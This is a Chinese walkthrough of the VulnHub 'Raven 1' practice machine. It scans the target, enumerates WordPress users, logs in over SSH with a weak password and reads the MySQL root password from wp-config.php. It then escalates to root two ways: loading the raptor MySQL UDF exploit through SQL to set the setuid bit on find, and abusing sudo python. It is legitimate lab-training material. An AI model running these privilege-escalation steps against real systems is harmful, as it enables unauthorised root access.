- Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/
Raven 是一个初/中级的渗透靶机。该靶机有两种获取 root 的方法。
方法一:
- IP发现和端口扫描
- 80 端口和 WordPress CMS 的发现
- 扫描 WordPress,发现两个系统用户
- ssh 弱密码尝试爆破
- 使用 LinEnum.sh 脚本枚举 Linux 活动进程
- 发现 MySQL
- 通过 WordPress 目录下的 wp-config.php 文件,获取数据库的用户名和密码
- 使用 MySQL 创建一个 UDF (用户定义函数) 动态库
- 将 mysql udf 的 exploit 编译成共享库(.so)
- 在靶机上运行 UDF 库程序
- 给 find 命令设置 sticky 位
- 获取 root 权限
- 获取 flag
先来看方法一
使用 netdiscover 来发现网络上的存活设备,并获取靶机的 IP 地址,在本例中,靶机的 IP 地址为:192.168.166.199
- netdiscover -i eth0
使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:22、80和111
- nmap -A 192.168.166.199
于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。
image.png可以在右上角 SERVICE
菜单的页面源码中,找到 flag1。
右上角 BLOG
菜单,点击跳转后,会发现是 WordPress 系统。
于是使用 WPScan 进行扫描,看能枚举出什么有用的信息。
- wpscan --url http://192.168.166.199/wordpress/ --wp-content-dir -ep -et -eu
发现靶机上的两个用户名:steven 和 michael
使用弱口令 michael/michael 尝试登陆ssh,可成功登录。
接着,我们把工作目录切换到 /tmp
,下载 LinEnum.sh
脚本,它可以枚举 Linux 系统各种信息。
这里我已将该脚本下载在了我本机,本机通过 Python 来开启简单的 http 服务,从而可以在靶机上下载该脚本。
运行该脚本,可看到 MySQL服务正在运行:
image.png image.png我们可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html
使用 searchsploit 从 exploit-db 中搜索相关的 exploit :
- searchsploit mysql udf
这里选择 1518.c 进行下载:
- searchsploit -m 1518.c
查看 1518.c 可看到使用说明:
image.png我们先进入 /var/www/html/wordpress
目录中搜索 wp-config.php
文件,因为该文件中记录着 MySQL 的用户名/密码,可看到:root/R@v3nSecurity
然后,再将 1518.c 编译成共享库:
- gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
编译后生成 1518.so,并将它下载到靶机中: /tmp/1518.so
接着,使用得到的 MySQL root密码,进入 MySQL shell:
image.png依次执行如下语句:
create table foo(line blob); #创建一个表,名为 foo。
insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位
-
要说明一下,这种方式能成功提权的前提是 MySQL 服务是以 root 权限去启动的,所以 UDF 函数执行的代码也是以 root 权限去执行的。
此时,回到 /tmp 目录,使用 find
命令:
得到 flag2、flag4
image.png至于 flag3,则是在 mysql 的 wordpress 库的 wp_posts 表中:
image.png image.png方法二:
- 在方法一一样,使用同样的方法得到靶机的 shell,以及进入 MySQL shell
- 在 MySQL shell中,可查看所有的数据库和表
- 从数据库 wordpress 中读取 wp_users 表
- 获取用户的密码 hash
- 破解其他用户的密码,并得到对应的 shell(因为已得到 michael 的密码)
- 发现 steven 运行 Python 不需要 root 权限 (使用 sudo -l 查看可知)
- 使用 Python pty模块生成 root TTY
- 获取 flag
来看方法二
查看数据库 wordpress 中的 wp_users 表,可看到密码 hash
image.png
将 steven 用户的密码 hash 转存到文本文件,并使用 John the Ripper 进行破解,得到密码:pink84
image.png也可以使用在线破解站点进行破解:
image.png还可以直接对 /etc/shadow 文件中 steven 用户的密码 hash 进行破解:
image.png image.png得到密码后,切换到 steven 用户:
image.png执行 sudo -l
, 可以看到 steven 用户可以使用 sudo
以 root 权限执行 Python 程序且无需输入 root 密码:
因此可使用Python 的 pty 模块,获取 root TTY:
image.png
网友评论